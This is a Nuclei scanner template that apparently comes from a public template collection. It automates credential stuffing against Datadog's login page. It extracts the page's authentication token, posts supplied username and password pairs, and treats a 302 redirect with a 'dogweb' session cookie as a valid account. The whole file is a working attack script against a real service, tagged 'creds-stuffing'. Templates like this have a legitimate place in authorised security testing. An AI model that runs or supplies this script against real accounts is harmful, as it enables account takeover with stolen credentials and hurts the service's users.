id: datadog-login-check

info:
  name: Datadog Login Check
  author: parthmalhotra,pdresearch
  severity: critical
  description: Checks for a valid datadog account.
  reference:
    - https://owasp.org/www-community/attacks/Credential_stuffing
  metadata:
    max-request: 2
  tags: cloud,creds-stuffing,login-check,datadog

self-contained: true

http:
  - raw:
      - |
        GET https://app.datadoghq.com/account/login HTTP/1.1
        Host: app.datadoghq.com
      - |
        POST https://app.datadoghq.com/account/login? HTTP/1.1
        Host: app.datadoghq.com
        Content-Type: application/x-www-form-urlencoded

        _authentication_token={{auth_token}}&username={{username}}&password={{password}}

    extractors:
      - type: regex
        name: auth_token
        part: body
        internal: true
        group: 1
        regex:
          - "authentication_token&#34;: &#34;(.*?)&#34;,"

      - type: dsl
        dsl:
          - username
          - password
    attack: pitchfork

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - 'Set-Cookie: dogweb='

      - type: status
        status:
          - 302
# digest: 4a0a00473045022100800057a3138d5f2367039c7e423449df5c739c7281f855d32ef3b9323bb5075b02205cba2ccb6530d7263e015c6fc127732dad115a6cc01b189a84d550099cf9c00f:922c64590222798bb761d5b6d8e72950